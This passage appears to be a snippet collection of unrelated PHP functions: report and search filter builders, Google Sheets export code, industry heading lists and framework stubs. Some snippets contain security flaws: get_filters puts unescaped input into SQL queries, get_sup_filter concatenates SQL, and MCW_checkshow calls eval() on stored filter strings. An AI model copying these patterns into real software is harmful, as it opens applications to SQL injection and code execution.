status\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->status, $sExtWrk, \"\");\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->status->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Show Filters\n\t\tif ($sFilterList <> \"\")\n\t\t\techo $ReportLanguage->Phrase(\"CurrentFilters\") . \"<br>$sFilterList\";\n\t}", "public static function filterIndustries()\n {\n return [\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale Trade',\n 'Retail Trade',\n 'Accommodation and Food Services',\n 'Transport, Postal and Warehousing',\n 'Information Media and Telecommunications',\n 'Financial and Insurance Services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and Support Services',\n 'Public Administration and Safety',\n 'Education and Training',\n 'Health Care and Social Assistance',\n 'Arts and Recreation Services',\n 'Other Services'\n ];\n }", "private function defineFilters() {\n\n // init local filters variable as empty array\n $filters = [];\n\n // parse each filter to apply\n // and add the valid once to filters\n\n // filters by name\n if (isset($_GET['s'])) {\n\n $filters['name'] = $_GET['s'];\n\n }\n\n // filter by categories\n if (isset($_GET['c'])) {\n\n $categories = explode(\"_\", $_GET['c']);\n foreach ($categories as $key => $value) {\n if (is_numeric($value)) {\n $filters['categories'][] = $value;\n }\n }\n\n }\n\n // filter by areas\n if (isset($_GET['a'])) {\n\n $areas = explode(\"_\", $_GET['a']);\n foreach ($areas as $key => $value) {\n if (is_numeric($value)) {\n $filters['areas'][] = $value;\n }\n }\n\n }\n\n // Check if any filter has been set\n\n if (count($filters)>0) {\n\n $this->filters = $filters;\n return true;\n\n }\n\n\n return false;\n\n }", "function GetFilterList() {\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJSON(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->name->AdvancedSearch->ToJSON(), \",\"); // Field name\n\t\t$sFilterList = ew_Concat($sFilterList, $this->_email->AdvancedSearch->ToJSON(), \",\"); // Field email\n\t\t$sFilterList = ew_Concat($sFilterList, $this->companyname->AdvancedSearch->ToJSON(), \",\"); // Field companyname\n\t\t$sFilterList = ew_Concat($sFilterList, $this->servicetime->AdvancedSearch->ToJSON(), \",\"); // Field servicetime\n\t\t$sFilterList = ew_Concat($sFilterList, $this->country->AdvancedSearch->ToJSON(), \",\"); // Field country\n\t\t$sFilterList = ew_Concat($sFilterList, $this->phone->AdvancedSearch->ToJSON(), \",\"); // Field phone\n\t\t$sFilterList = ew_Concat($sFilterList, $this->skype->AdvancedSearch->ToJSON(), \",\"); // Field skype\n\t\t$sFilterList = ew_Concat($sFilterList, $this->website->AdvancedSearch->ToJSON(), \",\"); // Field website\n\t\t$sFilterList = ew_Concat($sFilterList, $this->linkedin->AdvancedSearch->ToJSON(), \",\"); // Field linkedin\n\t\t$sFilterList = ew_Concat($sFilterList, $this->facebook->AdvancedSearch->ToJSON(), \",\"); // Field facebook\n\t\t$sFilterList = ew_Concat($sFilterList, $this->twitter->AdvancedSearch->ToJSON(), \",\"); // Field twitter\n\t\t$sFilterList = ew_Concat($sFilterList, $this->active_code->AdvancedSearch->ToJSON(), \",\"); // Field active_code\n\t\t$sFilterList = ew_Concat($sFilterList, $this->identification->AdvancedSearch->ToJSON(), \",\"); // Field identification\n\t\t$sFilterList = ew_Concat($sFilterList, $this->link_expired->AdvancedSearch->ToJSON(), \",\"); // Field link_expired\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isactive->AdvancedSearch->ToJSON(), \",\"); // Field isactive\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pio->AdvancedSearch->ToJSON(), \",\"); // Field pio\n\t\t$sFilterList = ew_Concat($sFilterList, $this->google->AdvancedSearch->ToJSON(), \",\"); // Field google\n\t\t$sFilterList = ew_Concat($sFilterList, $this->instagram->AdvancedSearch->ToJSON(), \",\"); // Field instagram\n\t\t$sFilterList = ew_Concat($sFilterList, $this->account_type->AdvancedSearch->ToJSON(), \",\"); // Field account_type\n\t\t$sFilterList = ew_Concat($sFilterList, $this->logo->AdvancedSearch->ToJSON(), \",\"); // Field logo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->profilepic->AdvancedSearch->ToJSON(), \",\"); // Field profilepic\n\t\t$sFilterList = ew_Concat($sFilterList, $this->mailref->AdvancedSearch->ToJSON(), \",\"); // Field mailref\n\t\t$sFilterList = ew_Concat($sFilterList, $this->deleted->AdvancedSearch->ToJSON(), \",\"); // Field deleted\n\t\t$sFilterList = ew_Concat($sFilterList, $this->deletefeedback->AdvancedSearch->ToJSON(), \",\"); // Field deletefeedback\n\t\t$sFilterList = ew_Concat($sFilterList, $this->account_id->AdvancedSearch->ToJSON(), \",\"); // Field account_id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->start_date->AdvancedSearch->ToJSON(), \",\"); // Field start_date\n\t\t$sFilterList = ew_Concat($sFilterList, $this->end_date->AdvancedSearch->ToJSON(), \",\"); // Field end_date\n\t\t$sFilterList = ew_Concat($sFilterList, $this->year_moth->AdvancedSearch->ToJSON(), \",\"); // Field year_moth\n\t\t$sFilterList = ew_Concat($sFilterList, $this->registerdate->AdvancedSearch->ToJSON(), \",\"); // Field registerdate\n\t\t$sFilterList = ew_Concat($sFilterList, $this->login_type->AdvancedSearch->ToJSON(), \",\"); // Field login_type\n\t\t$sFilterList = ew_Concat($sFilterList, $this->accountstatus->AdvancedSearch->ToJSON(), \",\"); // Field accountstatus\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ispay->AdvancedSearch->ToJSON(), \",\"); // Field ispay\n\t\t$sFilterList = ew_Concat($sFilterList, $this->profilelink->AdvancedSearch->ToJSON(), \",\"); // Field profilelink\n\t\t$sFilterList = ew_Concat($sFilterList, $this->source->AdvancedSearch->ToJSON(), \",\"); // Field source\n\t\t$sFilterList = ew_Concat($sFilterList, $this->agree->AdvancedSearch->ToJSON(), \",\"); // Field agree\n\t\t$sFilterList = ew_Concat($sFilterList, $this->balance->AdvancedSearch->ToJSON(), \",\"); // Field balance\n\t\t$sFilterList = ew_Concat($sFilterList, $this->job_title->AdvancedSearch->ToJSON(), \",\"); // Field job_title\n\t\t$sFilterList = ew_Concat($sFilterList, $this->projects->AdvancedSearch->ToJSON(), \",\"); // Field projects\n\t\t$sFilterList = ew_Concat($sFilterList, $this->opportunities->AdvancedSearch->ToJSON(), \",\"); // Field opportunities\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isconsaltant->AdvancedSearch->ToJSON(), \",\"); // Field isconsaltant\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isagent->AdvancedSearch->ToJSON(), \",\"); // Field isagent\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isinvestor->AdvancedSearch->ToJSON(), \",\"); // Field isinvestor\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isbusinessman->AdvancedSearch->ToJSON(), \",\"); // Field isbusinessman\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isprovider->AdvancedSearch->ToJSON(), \",\"); // Field isprovider\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isproductowner->AdvancedSearch->ToJSON(), \",\"); // Field isproductowner\n\t\t$sFilterList = ew_Concat($sFilterList, $this->states->AdvancedSearch->ToJSON(), \",\"); // Field states\n\t\t$sFilterList = ew_Concat($sFilterList, $this->cities->AdvancedSearch->ToJSON(), \",\"); // Field cities\n\t\t$sFilterList = ew_Concat($sFilterList, $this->offers->AdvancedSearch->ToJSON(), \",\"); // Field offers\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\n\t\t// Return filter list in json\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "function sheetSetUp(){\n $client = getClient();\n\n //running a check to see if the file exist on google drive or not\n if (!file_exists('info')){\n\n $service = new Google_Service_Sheets($client);\n\n } else{\n\n echo' Already exist! Please contact your Admin';\n }\n\n\n $spreadsheet = new Google_Service_Sheets_Spreadsheet();\n $name = new Google_Service_Sheets_SpreadsheetProperties();\n\n $title = 'Info';\n $name->setTitle($title);\n $spreadsheet->setProperties($name);\n\n\n\n $sheet = new Google_Service_Sheets_Sheet();\n $grid_data = new Google_Service_Sheets_GridData();\n\n $cells = [];\n\n //this is where the values are coming from\n $info_arr = getTables();\n\n //this works now from our database\n foreach($info_arr as $key => $datatables){\n foreach($datatables as $dt) {\n $row_data = new Google_Service_Sheets_RowData();\n $cell_data = new Google_Service_Sheets_CellData();\n $extend_value = new Google_Service_Sheets_ExtendedValue();\n\n\n $extend_value->setStringValue($dt);\n $cell_data->setUserEnteredValue($extend_value);\n array_push($cells, $cell_data);\n $row_data->setValues($cells);\n $grid_data->setRowData([$row_data]);\n $sheet->setData($grid_data);\n };\n };\n\n //sets the sheet with the info\n $spreadsheet->setSheets([$sheet]);\n //creates the spreadsheet with the info in it\n $service->spreadsheets->create($spreadsheet);\n\n}", "public function getServiceNameAllowableValues()\n {\n return [\n self::SERVICE_NAME_BOUNTY_MISSIONS,\n self::SERVICE_NAME_ASSASSINATION_MISSIONS,\n self::SERVICE_NAME_COURIER_MISSIONS,\n self::SERVICE_NAME_INTERBUS,\n self::SERVICE_NAME_REPROCESSING_PLANT,\n self::SERVICE_NAME_REFINERY,\n self::SERVICE_NAME_MARKET,\n self::SERVICE_NAME_BLACK_MARKET,\n self::SERVICE_NAME_STOCK_EXCHANGE,\n self::SERVICE_NAME_CLONING,\n self::SERVICE_NAME_SURGERY,\n self::SERVICE_NAME_DNA_THERAPY,\n self::SERVICE_NAME_REPAIR_FACILITIES,\n self::SERVICE_NAME_FACTORY,\n self::SERVICE_NAME_LABORATORY,\n self::SERVICE_NAME_GAMBLING,\n self::SERVICE_NAME_FITTING,\n self::SERVICE_NAME_PAINTSHOP,\n self::SERVICE_NAME_NEWS,\n self::SERVICE_NAME_STORAGE,\n self::SERVICE_NAME_INSURANCE,\n self::SERVICE_NAME_DOCKING,\n self::SERVICE_NAME_OFFICE_RENTAL,\n self::SERVICE_NAME_JUMP_CLONE_FACILITY,\n self::SERVICE_NAME_LOYALTY_POINT_STORE,\n self::SERVICE_NAME_NAVY_OFFICES,\n self::SERVICE_NAME_SECURITY_OFFICE,\n ];\n }", "protected function filterSliderFields(): array\n {\n return [];\n }", "public function getFileAndFolderNameFilters() {}", "public static function getFiltername(): string\n {\n return self::FILTERNAME;\n }", "abstract public function filters();", "public function show(Sheet $sheet)\n {\n //\n }", "public function filtering(): string;", "public function dataSheets()\n {\n return view('resources.data_sheets');\n }", "function MCW_checkshow($MyFilter){\n $myfilteroptions = MCW_get_all_filters();\n $max = count($myfilteroptions);\n $erg = false;\n for ( $i = 0; $i < $max; ++$i ) {\n $c=\"if ((\".stripslashes($myfilteroptions[$i][1]).\") && isset(\\$MyFilter[\\$myfilteroptions[\\$i][0]])) {\\$erg = true;}\";\n eval($c);\n }\n return $erg;\n }", "function acf_disable_filter($name = '')\n{\n}", "function _dotgo_filter_tips() {\n}", "public function addNewSheet();", "function show_grant_query()\n{\n\tif(!$_POST['excel_export'])\n\t{\t\n\t\tgrant_query_form();\n\t\tif(!$_POST['query_type'])\n\t\t{\n\t\t\tprint_grant_intro();\n//\t\t\tprint_grant_help();\n\t\t}\n\t}\n}", "function valid_research($tab) {\n $pattern = \"/[^a-zA-Z1-9-+]/\";\n for ($i=0; $i < count($tab); $i++) {\n if (preg_match($pattern, $tab[$i])) {\n return FALSE;\n }\n }\n return TRUE;\n}", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\") {\n\t\t\t$sSavedFilterList = isset($UserProfile) ? $UserProfile->GetSearchFilters(CurrentUserName(), \"fspplistsrch\") : \"\";\n\t\t} else {\n\t\t\t$sSavedFilterList = \"\";\n\t\t}\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl->AdvancedSearch->ToJSON(), \",\"); // Field tgl\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spp->AdvancedSearch->ToJSON(), \",\"); // Field no_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jns_spp->AdvancedSearch->ToJSON(), \",\"); // Field jns_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kd_mata->AdvancedSearch->ToJSON(), \",\"); // Field kd_mata\n\t\t$sFilterList = ew_Concat($sFilterList, $this->urai->AdvancedSearch->ToJSON(), \",\"); // Field urai\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh->AdvancedSearch->ToJSON(), \",\"); // Field jmlh\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh1->AdvancedSearch->ToJSON(), \",\"); // Field jmlh1\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh2->AdvancedSearch->ToJSON(), \",\"); // Field jmlh2\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh3->AdvancedSearch->ToJSON(), \",\"); // Field jmlh3\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh4->AdvancedSearch->ToJSON(), \",\"); // Field jmlh4\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nm_perus->AdvancedSearch->ToJSON(), \",\"); // Field nm_perus\n\t\t$sFilterList = ew_Concat($sFilterList, $this->alamat->AdvancedSearch->ToJSON(), \",\"); // Field alamat\n\t\t$sFilterList = ew_Concat($sFilterList, $this->npwp->AdvancedSearch->ToJSON(), \",\"); // Field npwp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pimpinan->AdvancedSearch->ToJSON(), \",\"); // Field pimpinan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bank->AdvancedSearch->ToJSON(), \",\"); // Field bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->rek->AdvancedSearch->ToJSON(), \",\"); // Field rek\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nospm->AdvancedSearch->ToJSON(), \",\"); // Field nospm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tglspm->AdvancedSearch->ToJSON(), \",\"); // Field tglspm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ppn->AdvancedSearch->ToJSON(), \",\"); // Field ppn\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps21->AdvancedSearch->ToJSON(), \",\"); // Field ps21\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps22->AdvancedSearch->ToJSON(), \",\"); // Field ps22\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps23->AdvancedSearch->ToJSON(), \",\"); // Field ps23\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps4->AdvancedSearch->ToJSON(), \",\"); // Field ps4\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kodespm->AdvancedSearch->ToJSON(), \",\"); // Field kodespm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nambud->AdvancedSearch->ToJSON(), \",\"); // Field nambud\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nppk->AdvancedSearch->ToJSON(), \",\"); // Field nppk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nipppk->AdvancedSearch->ToJSON(), \",\"); // Field nipppk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->prog->AdvancedSearch->ToJSON(), \",\"); // Field prog\n\t\t$sFilterList = ew_Concat($sFilterList, $this->prog1->AdvancedSearch->ToJSON(), \",\"); // Field prog1\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bayar->AdvancedSearch->ToJSON(), \",\"); // Field bayar\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function printStList (){\n\t\t\n\t?>\n\t\t\t<!-- Spreadsheet List -->\n\t\t\t<h3>Google Spreadsheets <small><code id='sc' style='display:none'><span></span> spreadsheets</code></small></h3>\n\t\t\t<small>Use the corresponding Spreadsheet ID and Worksheet ID in your shortcode.<br />\n\t\t\t<span style=\"color: blue\">[gdocs st_id=<em>spreadsheet_id</em> wt_id=<em>worksheet_id</em> type='spreadsheet']</span></small>\n\t\n\t\t\t<table class='hor-zebra'>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr><th>Title</th><th>Spreadsheet ID</th><th>Worksheets</th></tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody id='gdocs_list_spreadsheet'>\n\t\t\t\t\t<tr class='gdocs_loader'><td>Loading...</td><td class='gdocs_loader'></td><td></td></tr>\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t</div>\n\t\t<p style='clear:both'></p>\n\t</div>\n\t\t\n\t<?php\n\t\n\t}", "function BuildExportSelectedFilter() {\n\t\tglobal $Language;\n\t\t$sWrkFilter = \"\";\n\t\tif ($this->Export <> \"\") {\n\t\t\t$sWrkFilter = $this->GetKeyFilter();\n\t\t}\n\t\treturn $sWrkFilter;\n\t}", "public function getFilterName()\n {\n return $this->_('NOT ANY (XOR) combination filter');\n }", "protected function getSearchColumnsForFilter()\n {\n return sfConfig::get('app_ull_user_phone_book_search_columns', array(\n 'first_name',\n 'last_name',\n 'UllLocation->name',\n 'UllLocation->short_name',\n 'UllLocation->phone_base_no',\n 'UllDepartment->name',\n 'UllJobTitle->name',\n ));\n }", "function get_sup_filter($sup_restriction, $table = '') {\n $sup_filters = array();\n foreach ($sup_restriction as $sup) {\n $sup_filters[] = $table . ($table != '' ? '.' : '') . 'supervisor = \"' . $sup . '\"';\n }\n \n if (count($sup_filters) > 0) {\n return '(' . join(' || ', $sup_filters) . ')';\n } else {\n return \"0\";\n }\n}", "public function filters()\n {\n return [\n 'team_name' => 'trim|escape'\n ];\n }", "function GetExtendedFilterValues() {\n\t\tglobal $deals_details;\n\n\t\t// Field dealer\n\t\t$sSelect = \"SELECT DISTINCT rep.dealer FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.dealer ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->dealer->DropDownList = ewrpt_GetDistinctValues(\"\", $wrkSql);\n\n\t\t// Field date_start\n\t\t$sSelect = \"SELECT DISTINCT rep.date_start FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.date_start ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->date_start->DropDownList = ewrpt_GetDistinctValues($deals_details->date_start->DateFilter, $wrkSql);\n\n\t\t// Field status\n\t\t$sSelect = \"SELECT DISTINCT rep.status FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.status ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->status->DropDownList = ewrpt_GetDistinctValues(\"\", $wrkSql);\n\t}", "function CheckFilter() {\n\t\tglobal $deals_details;\n\n\t\t// Check dealer extended filter\n\t\tif ($this->NonTextFilterApplied($deals_details->dealer))\n\t\t\treturn TRUE;\n\n\t\t// Check date_start extended filter\n\t\tif ($this->NonTextFilterApplied($deals_details->date_start))\n\t\t\treturn TRUE;\n\n\t\t// Check status extended filter\n\t\tif ($this->NonTextFilterApplied($deals_details->status))\n\t\t\treturn TRUE;\n\t\treturn FALSE;\n\t}", "public function testSheetsShow()\n {\n $this->json('GET', '/api/sheets/1', [])\n ->assertResponseOk()\n ->seeJson([\n 'id' => 1,\n ]);\n }", "public function getDefaultFilterParameters(): array;", "public function file_extensions_for_case_studies(){\n\t\t$filetype_arr = array();\n\t\t$filetype_arr['ppt'] = \"PowerPoint\";\n\t\t$filetype_arr['pptx'] = \"PowerPoint\";\n\t\t$filetype_arr['pdf'] = \"PDF file\";\n\t\treturn $filetype_arr;\n\t}", "public function getAllowedTypesOfValueKeeper(): array\n {\n return [ValuesOfWideSheets::class];\n }", "public function get_filters($vars=array()) {\n\n if(!empty($vars))\n { \n $activities = (isset($vars['activities']) && ($vars['activities']!=\"\")) ? $vars['activities'] : \"\";\n $environment = (isset($vars['environment']) && ($vars['environment']!=\"\")) ? $vars['environment'] : \"\";\n $weather = (isset($vars['weather']) && ($vars['weather']!=\"\")) ? $vars['weather'] : \"\"; \n $season = (isset($vars['season']) && ($vars['season']!=\"\")) ? $vars['season'] : \"\";\n $continent = (isset($vars['destination_continent']) && ($vars['destination_continent']!=\"\")) ? $vars['destination_continent'] : \"\";\n $destination = (isset($vars['destination_city']) && ($vars['destination_city']!=\"\")) ? $vars['destination_city'] : \"\";\n \n $age_group = (isset($vars['age_group']) && ($vars['age_group']!=\"\")) ? $vars['age_group'] : \"\";\n $price_from = (isset($vars['price_from']) && ($vars['price_from']!=\"\")) ? $vars['price_from'] : 0;\n $price_to = (isset($vars['price_to']) && ($vars['price_to']!=\"\")) ? $vars['price_to'] : 0;\n $departure_date = (isset($vars['departure_date']) && ($vars['departure_date']!=\"\")) ? $vars['departure_date'] : \"\";\n $return_date = (isset($vars['return_date']) && ($vars['return_date']!=\"\")) ? $vars['return_date'] : \"\";\n \n if(($season != \"\") || ($destination != \"\") || ($environment != \"\") || ($continent != \"\") || \n ($age_group != \"\") || ($price_from != \"\") || ($weather != \"\") || ($activities != \"\"))\n { \n $condition = \"1=1\";\n if($season != \"\")\n { \n $condition .=\" AND (Season LIKE '%$season%')\";\n }\n if($destination != \"\")\n { \n $condition .=\" AND (City LIKE '%$destination%')\";\n }\n if($environment != \"\")\n { \n $condition .=\" AND (Environment LIKE '%$environment%')\";\n }\n if($continent != \"\")\n { \n $condition .=\" AND (Continent LIKE '%$continent%')\";\n }\n if($age_group != \"\")\n { \n $condition .=\" AND (Age = '$age_group')\";\n }\n if( ($price_from >= 0) && ($price_to > 0) )\n { \n $condition .=\" AND (ActivityPrice BETWEEN '$price_from' AND '$price_to' )\";\n }\n \n if( ($departure_date != \"\" && $return_date != \"\") )\n { \n $condition .=\" AND ( (date1 BETWEEN '$departure_date' AND '$return_date') )\";\n }\n /* \n if( ($return_date != \"\") )\n { \n $condition .=\" AND (data2 <z= '$return_date') \";\n }\n \n if($activities != \"\")\n { \n $condition .=\" OR (city LIKE '%$activities%') \";\n }*/\n if($weather != \"\")\n { \n $condition .= \" AND (MATCH(Weather) AGAINST('$weather' IN BOOLEAN MODE))\";\n }\n /*\n if($activities != \"\")\n { \n $condition .= \"(MATCH(weather) AGAINST('$activities' IN BOOLEAN MODE)) OR \";\n }\n if($activities != \"\")\n { \n $condition .= \"(MATCH(environment) AGAINST('$activities' IN BOOLEAN MODE)) OR \";\n }*/\n if($activities != \"\")\n { \n //prepare condition using MYSQL NATURAL LANGUAGE MODE\n $condition .= \" AND (MATCH(Activities) AGAINST('$activities' IN BOOLEAN MODE)) \";\n }\n }else\n { \n return false;\n \n } // end if(($season != \"\") || ($destination != \"\") || \n \n }else\n { \n return false;\n $condition = \" 1='1' \"; \n }\n\n //echo $condition; //die();\n $this->db->select('*');\n $this->db->from('filter');\n $this->db->where($condition);\n $query = $this->db->get(); //print_r($this->db); die();\n if ($query->num_rows() > 0) {\n return $query->result();\n } else {\n return false;\n }\n}", "public function formatFilters($rawFilters){\n $filters = array();\n \n //LIBRARIAN NAME\n if(array_key_exists('librarian', $rawFilters)){ \n if($rawFilters['librarian'] != ''){\n $filters['librarian'] = $this->__getStaffById($rawFilters['librarian']);\n }\n } \n \n //PROGRAM NAME\n if(array_key_exists('program', $rawFilters)){ \n if($rawFilters['program'] != ''){\n $filters['program'] = $this->__getProgramById($rawFilters['program']);\n }\n } \n \n //INSTRUCTION TYPE\n if(array_key_exists('instructionType', $rawFilters)){ \n $instructionType = $this->formatInstructionType($rawFilters['instructionType']);\n $filters['instructionType'] = $instructionType;\n } \n \n //FILTER CRITERIA (academic, fiscal, calendar, semester, custom)\n if(array_key_exists('filterCriteria', $rawFilters)){ \n $instructionType = $this->formatInstructionType($rawFilters['instructionType']);\n $filters['instructionType'] = $instructionType;\n \n switch($rawFilters['filterCriteria']){\n case 'academic':\n array_key_exists('academicYear', $rawFilters) ? $year = $rawFilters['academicYear'] . '-' . ($rawFilters['academicYear'] + 1) : $year = '';\n $criteriaYear = \"Academic Year \" . $year;\n break;\n case 'calendar':\n array_key_exists('calendarYear', $rawFilters) ? $year = $rawFilters['calendarYear'] : $year = '';\n $criteriaYear = \"Calendar Year \" . $year;\n break;\n case 'fiscal':\n array_key_exists('fiscalYear', $rawFilters) ? $year = $rawFilters['fiscalYear'] . '-' . ($rawFilters['fiscalYear'] + 1) : $year = '';\n $criteriaYear = \"Fiscal Year \" . $year;\n break;\n case 'semester':\n array_key_exists('year', $rawFilters) ? $year = $rawFilters['year'] : $year = '';\n $criteriaYear = ucfirst($rawFilters['semester']) . ' ' . $year;\n break;\n case 'custom':\n array_key_exists('startDate', $rawFilters) ? $startDate = $rawFilters['startDate'] : $startDate = '';\n array_key_exists('endDate', $rawFilters) ? $endDate = $rawFilters['endDate'] : $endDate = '';\n $criteriaYear = 'Date Range: ' . $startDate . ' to ' . $endDate;\n break;\n }\n \n $filters['year'] = $criteriaYear;\n } \n \n //LEVEL \n if(array_key_exists('level', $rawFilters)){ \n $filters['level'] = ucfirst($rawFilters['level']);\n } \n \n //LAST n MONTHS\n if(array_key_exists('lastmonths', $rawFilters)){ \n $filters['lastmonths'] = 'Last '.$rawFilters['lastmonths'].' months';\n } \n \n return $filters;\n }", "abstract public static function getAllowedStrings(): array;", "function CheckFilter() {\n\t\tglobal $dealers_reports;\n\n\t\t// Check StartDate extended filter\n\t\tif ($this->NonTextFilterApplied($dealers_reports->StartDate))\n\t\t\treturn TRUE;\n\t\treturn FALSE;\n\t}", "protected function getFilteredInput(): array\n {\n return (new Filter($this->getParams(), [\n Lines::_HSRC => FILTER_SANITIZE_STRING,\n Stations::_NAME => FILTER_SANITIZE_STRING,\n self::_LIMIT => FILTER_SANITIZE_NUMBER_INT,\n self::_PAGE => FILTER_SANITIZE_NUMBER_INT,\n ]))->process()->toArray();\n }", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\") {\n\t\t\t$sSavedFilterList = isset($UserProfile) ? $UserProfile->GetSearchFilters(CurrentUserName(), \"fvw_spmlistsrch\") : \"\";\n\t\t} else {\n\t\t\t$sSavedFilterList = \"\";\n\t\t}\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJSON(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->detail_jenis_spp->AdvancedSearch->ToJSON(), \",\"); // Field detail_jenis_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_jenis_spp->AdvancedSearch->ToJSON(), \",\"); // Field id_jenis_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->status_spp->AdvancedSearch->ToJSON(), \",\"); // Field status_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spp->AdvancedSearch->ToJSON(), \",\"); // Field 